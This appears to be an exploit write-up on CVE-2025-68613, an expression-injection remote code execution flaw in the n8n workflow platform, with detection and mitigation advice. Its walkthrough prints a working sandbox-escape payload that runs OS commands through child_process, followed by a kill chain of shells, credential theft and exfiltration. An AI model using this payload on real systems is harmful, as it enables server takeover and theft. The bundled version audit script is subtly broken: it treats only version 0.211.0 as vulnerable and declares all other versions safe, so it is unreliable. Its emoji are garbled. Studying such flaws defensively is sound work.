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## https://sploitus.com/exploit?id=17C9C674-BB41-515E-B7A1-92845FADBC84
---
## ๐ Table of Contents
- [๐ฏ Executive Summary](#-executive-summary)
- [๐ The Vulnerability](#-the-vulnerability)
- [๐ฌ Technical Analysis](#-technical-analysis)
- [๐ Exploitation Walkthrough](#-exploitation-walkthrough)
- [๐ฅ Impact Assessment](#-impact-assessment)
- [๐ Detection & Response](#-detection--response)
- [๐ก๏ธ Mitigation Strategy](#%EF%B8%8F-mitigation-strategy)
- [๐ References](#-references)
---
## ๐ฏ Executive Summary
CVE-2025-68613 is a **critical remote code execution vulnerability** in n8n's workflow automation platform that allows authenticated attackers to execute arbitrary system commands through **expression injection**.
### โก Quick Stats
| ๐ฅ Metric | ๐ Value |
|-----------|----------|
| **CVSS Score** | 9.9 / 10 |
| **Exposed Instances** | 103,476+ |
| **Attack Complexity** | LOW |
| **Auth Required** | Yes (Low Priv) |
| **User Interaction** | None |
### ๐ฏ Key Facts
| ๐ Property | ๐ Value |
|-------------|----------|
| **Disclosed** | Dec 18, 2025 |
| **Vector** | Network (AV:N) |
| **Scope** | Changed |
| **Impact** | CIA = HIGH |
| **Exploit Type** | Expression Injection |
---
## ๐ The Vulnerability
### ๐ CVE Overview
| Property | Value |
|----------|-------|
| ๐ **CVE ID** | CVE-2025-68613 |
| ๐ **CVSS Score** | 9.9 (Critical) ๐ด |
| ๐ **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| ๐ท๏ธ **CWE** | CWE-913 (Improper Control of Dynamically-Managed Code Resources) |
| ๐ฆ **Affected Versions** | 0.211.0 โ 1.120.3, 1.121.0 |
| โ
**Patched Versions** | 1.120.4, 1.121.1, 1.122.0+ |
### ๐ค What is n8n?
n8n is an open-source workflow automation platform enabling **no-code/low-code integration** across 400+ applications. It's widely deployed in:
| ๐ข Use Case | ๐ Description |
|-------------|----------------|
| ๐ง **DevOps** | Automation pipelines, CI/CD integrations |
| ๐ก๏ธ **Security Ops** | SOAR workflows, incident response |
| ๐ผ **Business** | Process automation, data workflows |
| ๐ **Data** | ETL processes, API integrations |
### ๐ง Technical Root Cause
```
๐ VULNERABILITY CHAIN:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๐ n8n Expression Language โ Dynamic Data Handling โ
โ โ โ
โ โ ๏ธ Insufficient Sandbox Isolation in Server-Side Eval โ
โ โ โ
โ ๐ Malicious Expression Escapes Sandbox โ
โ โ โ
โ ๐ฅ๏ธ Access to Node.js child_process Module โ
โ โ โ
โ ๐ฅ FULL RCE - OS Command Execution โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
---
## ๐ฌ Technical Analysis
### ๐ฏ Attack Surface
**Prerequisites for Exploitation:**
| # | ๐ Requirement | ๐ Details |
|---|----------------|------------|
| 1๏ธโฃ | **Authentication** | Valid n8n user account (low-privilege sufficient) |
| 2๏ธโฃ | **Permissions** | Workflow creation/editing capability |
| 3๏ธโฃ | **Network Access** | Ability to reach n8n instance |
### โ๏ธ Attack Characteristics
| ๐ท๏ธ Attribute | ๐ Value | ๐ฅ Risk |
|--------------|----------|---------|
| **Complexity** | LOW (AC:L) | ๐ด High |
| **User Interaction** | None Required | ๐ด High |
| **Scope** | Changed | ๐ด Critical |
### ๐บ๏ธ Vulnerability Flow Diagram
```mermaid
graph TD
A[๐ Authenticated User] -->|Creates| B[๐ New Workflow]
B -->|Injects| C[๐ Malicious Expression]
C -->|Triggers| D[โก Expression Evaluation]
D -->|Exploits| E[๐ Sandbox Escape]
E -->|Accesses| F[๐ฅ๏ธ Node.js Runtime]
F -->|Executes| G[๐ฅ OS Command via child_process]
G -->|Achieves| H[โ ๏ธ FULL SERVER COMPROMISE]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
```
---
## ๐ Exploitation Walkthrough
> โ ๏ธ **DISCLAIMER**: The following is for **educational purposes only**. Unauthorized exploitation is illegal.
### ๐ธ Step-by-Step Exploitation Screenshots
#### ๐ฅ๏ธ Step 1: Access n8n Instance
Initial access to vulnerable n8n workflow automation platform.
๐ n8n Welcome Dashboard - Entry Point
---
#### โ Step 2: Create New Workflow
Create a new workflow that will contain the malicious payload.
๐ Creating new workflow with "Add first step"
---
#### โก Step 3: Add Manual Trigger
Configure workflow trigger - Manual Trigger allows on-demand execution.
๐ฏ Selecting Manual Trigger for workflow activation
---
#### ๐ฆ Step 4: Add Set Node
Add the "Edit Fields (Set)" node which will contain the malicious expression.
๐ง Adding "Edit Fields (Set)" node for payload injection
---
#### ๐ Step 5: Inject RCE Payload
The critical step - injecting the sandbox escape expression to achieve RCE.
๐ Malicious expression executes 'id' command successfully!
```javascript
// ๐ด MALICIOUS PAYLOAD (DO NOT USE ILLEGALLY)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
```
**Output Shows:** `uid=1000(node) gid=1000(node) groups=1000(node)` โ
**RCE CONFIRMED!**
---
### ๐ฌ Attack Kill Chain
| Phase | ๐ฅ Action | ๐ Impact |
|-------|----------|-----------|
| 1๏ธโฃ | **Initial Access** | Authenticate to n8n |
| 2๏ธโฃ | **Execution** | Submit malicious workflow |
| 3๏ธโฃ | **Persistence** | Deploy reverse shell/backdoor |
| 4๏ธโฃ | **C2** | Establish command & control |
| 5๏ธโฃ | **Actions** | Exfiltrate data, lateral movement |
### โ ๏ธ Post-Exploitation Capabilities
| ๐ฏ Action | ๐ฅ Impact Level |
|-----------|-----------------|
| ๐ **Credential Theft** | Extract API keys, OAuth tokens, DB passwords |
| ๐ค **Data Exfiltration** | Workflow data, execution logs, business info |
| ๐ **Persistence** | Cron jobs, startup scripts, web shells |
| ๐ **Lateral Movement** | Pivot to databases, CI/CD, cloud infra |
| ๐๏ธ **Workflow Manipulation** | Modify/destroy automation logic |
---
## ๐ฅ Impact Assessment
### ๐บ CIA Triad Analysis
#### ๐ด Confidentiality (HIGH)
- ๐ API keys exposed
- ๐ OAuth tokens leaked
- ๐พ DB passwords accessible
- ๐ Execution logs compromised
#### ๐ Integrity (HIGH)
- ๐ Workflows altered
- โ๏ธ Automation corrupted
- ๐ Malicious nodes injected
- ๐ Data manipulated
#### ๐ก Availability (HIGH)
- โน๏ธ Services disrupted
- ๐ Resources exhausted
- ๐ Workflows terminated
- ๐ฅ๏ธ Infrastructure down
### ๐ Real-World Exposure
---
## ๐ Detection & Response
### ๐ Detection Strategies
| # | ๐ Method | ๐ What to Monitor |
|---|-----------|-------------------|
| ๐ | **Log Analysis** | Unusual commands from n8n process, failed expressions |
| ๐ | **Network** | Outbound connections to unknown IPs, large POST requests |
| โก | **Runtime** | `child_process` invocations, unexpected spawns |
| ๐ฆ | **Version Audit** | Check against vulnerable version range |
### ๐ ๏ธ Version Audit Script
```bash
#!/usr/bin/env bash
# ๐ CVE-2025-68613 n8n version audit
echo "๐ Checking n8n version..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" = "0.211.0" ]]; then
echo "โ ๏ธ VULNERABLE: n8n $VER affected by CVE-2025-68613"
echo "๐ฆ Required: Upgrade to 1.120.4, 1.121.1, or 1.122.0+"
exit 2
else
echo "โ
SAFE: n8n $VER is patched"
fi
else
echo "โ n8n not found in PATH"
fi
```
### ๐จ Incident Response Checklist
- [ ] ๐ **Isolate** - Disconnect affected n8n from network
- [ ] ๐พ **Preserve** - Capture logs and forensic artifacts
- [ ] ๐ **Audit** - Review all workflows for malicious expressions
- [ ] ๐ **Rotate** - Change all accessible credentials
- [ ] ๐ **Review** - Check for lateral movement indicators
- [ ] ๐ฆ **Patch** - Upgrade to secure version before restoration
---
## ๐ก๏ธ Mitigation Strategy
### โก Immediate Actions (Priority 0)
| ๐ข Priority | ๐ ๏ธ Action | ๐ Details |
|-------------|----------|------------|
| ๐ด **P0** | **PATCH NOW** | Upgrade to 1.120.4, 1.121.1, or 1.122.0+ |
| ๐ **P1** | Restrict Access | Limit workflow creation to trusted users |
| ๐ก **P2** | Container Hardening | Deploy with security restrictions |
### ๐ณ Container Hardening Example
```dockerfile
# ๐ก๏ธ Hardened n8n deployment
FROM n8n/n8n:1.122.0
# ๐ค Run as non-root user
USER node
# ๐ Apply these runtime flags:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
```
### ๐ Long-Term Security
| ๐ก๏ธ Measure | ๐ Implementation |
|------------|-------------------|
| ๐ Network Segmentation | Isolate n8n instances |
| ๐ฅ WAF Rules | Monitor expression patterns |
| ๐ Audit Logging | Enable comprehensive logging |
| ๐ Security Reviews | Regular workflow assessments |
| ๐ Least Privilege | Enforce access controls |
---
## ๐ฌ Question for Blue Teamers ๐ต
> **How would you design a detection rule to identify expression injection attempts in n8n workflow definitions before execution, considering the need to balance security with legitimate dynamic expression usage?**
>
> **Bonus:** What runtime protections would you implement to limit blast radius if sandbox escape occurs despite patching?
---
## ๐ References
### ๐ Official Advisories
- ๐ [NVD CVE-2025-68613 Detail](https://nvd.nist.gov/vuln/detail/CVE-2025-68613)
- ๐ [Snyk Advisory](https://security.snyk.io/vuln/SNYK-JS-N8NWORKFLOW-14545463)
### ๐ฌ Technical Analysis
- ๐ [Orca Security: Critical n8n RCE](https://orca.security/resources/blog/cve-2025-68613-n8n-rce-vulnerability/)
- ๐ [Resecurity: Expression Injection Deep Dive](https://www.resecurity.com/blog/article/cve-2025-68613)
- ๐ [SecureLayer7: RCE Exploitation Guide](https://blog.securelayer7.net/cve-2025-68613-n8n-rce-exploitation/)
### ๐ฎ Practical Resources
- ๐งช [TryHackMe: CVE-2025-68613 Lab](https://tryhackme.com/room/n8ncve202568613)
- ๐ [Public PoC Scanner](https://github.com/TheStingR/CVE-2025-68613-POC)
---
## ๐ท๏ธ Tags
```
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
```
---
โ ๏ธ DISCLAIMER: This analysis is for educational and defensive security purposes only.
Unauthorized exploitation of vulnerabilities is ILLEGAL.